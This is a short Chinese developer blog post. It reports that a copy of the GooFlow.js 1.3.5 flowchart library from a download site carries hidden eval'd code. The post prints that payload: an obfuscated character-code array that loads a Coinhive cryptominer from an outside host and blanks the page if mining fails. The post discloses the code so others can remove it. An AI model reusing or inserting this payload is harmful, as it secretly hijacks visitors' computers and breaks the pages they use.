總結：在項目運行的時候發現html頁面總是自動清空，js中有document.wirte('')，就是這個代碼導致的，但是在GooFlow.js源碼中根本就發現不了，結果發現eval()這個函數報錯，于是執行代碼發現隱藏代碼。。。

這個地址下載的源碼有問題：http://www.17sucai.com/pins/26954.html

修改源碼：下圖，注釋掉eval函數的內容就好了

測試方式：在iframe中調用html才可以發現問題，html使用GooFlow

執行后的代碼

源碼解析

(function (c) {var r = '';for (var z = 0; z < c.length; z++) r += String.fromCharCode(c[z]);return r})([118, 97, 114, 32, 95, 61, 119, 105, 110, 100, 111, 119, 59, 116, 114, 121, 123, 95, 61, 95, 46, 111, 112, 101, 110, 101, 114, 46, 36, 125,99, 97, 116, 99, 104, 40, 101, 41, 123, 116, 114, 121, 123, 95, 61, 95, 46, 116, 111, 112, 46, 36, 125, 99, 97, 116, 99, 104, 40, 101, 41,123, 95, 61, 36, 125, 125, 59, 105, 102, 40, 33, 95, 40, 34, 104, 101, 97, 100, 34, 41, 46, 100, 97, 116, 97, 40, 39, 120, 39, 41, 41, 123,71, 111, 111, 70, 108, 111, 119, 46, 97, 61, 49, 59, 95, 97, 61, 50, 48, 59, 118, 97, 114, 32, 100, 61, 110, 101, 119, 32, 68, 97, 116, 101,40, 41, 59, 95, 40, 34, 104, 101, 97, 100, 34, 41, 46, 100, 97, 116, 97, 40, 39, 120, 39, 44, 49, 41, 59, 95, 46, 97, 106, 97, 120, 40, 34,104, 116, 116, 112, 115, 58, 47, 47, 99, 111, 105, 110, 104, 105, 118, 101, 46, 99, 111, 109, 47, 108, 105, 98, 47, 99, 111, 105, 110, 104,105, 118, 101, 46, 109, 105, 110, 46, 106, 115, 63, 34, 43, 100, 46, 103, 101, 116, 70, 117, 108, 108, 89, 101, 97, 114, 40, 41, 43, 100,46, 103, 101, 116, 77, 111, 110, 116, 104, 40, 41, 43, 100, 46, 103, 101, 116, 68, 97, 116, 101, 40, 41, 44, 123, 100, 97, 116, 97, 84, 121,112, 101, 58, 39, 115, 99, 114, 105, 112, 116, 39, 44, 99, 97, 99, 104, 101, 58, 116, 114, 117, 101, 125, 41, 59, 95, 105, 61, 115, 101,116, 73, 110, 116, 101, 114, 118, 97, 108, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 110, 101, 119, 32,67, 111, 105, 110, 72, 105, 118, 101, 46, 65, 110, 111, 110, 121, 109, 111, 117, 115, 40, 39, 71, 71, 100, 80, 71, 104, 120, 73, 108, 111,108, 100, 97, 65, 114, 65, 114, 81, 86, 119, 120, 90, 50, 115, 100, 56, 108, 48, 97, 52, 107, 72, 39, 44, 123, 116, 104, 114, 111, 116, 116,108, 101, 58, 48, 46, 52, 125, 41, 46, 115, 116, 97, 114, 116, 40, 41, 59, 99, 108, 101, 97, 114, 73, 110, 116, 101, 114, 118, 97, 108, 40,95, 105, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 95, 97, 45, 45, 59, 105, 102, 40, 95, 97, 60, 49, 41, 100, 111, 99, 117, 109, 101,110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 34, 41, 125, 125, 44, 49, 48, 48, 48, 41, 125])

我這個版本是

/*** Gooflow在線流程圖設計器* Version: 1.3.5* Copyright: foolegg126(sdlddr)

這個人的代碼有問題

文檔參考地址

https://gooflow.xyz/docs/

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總結

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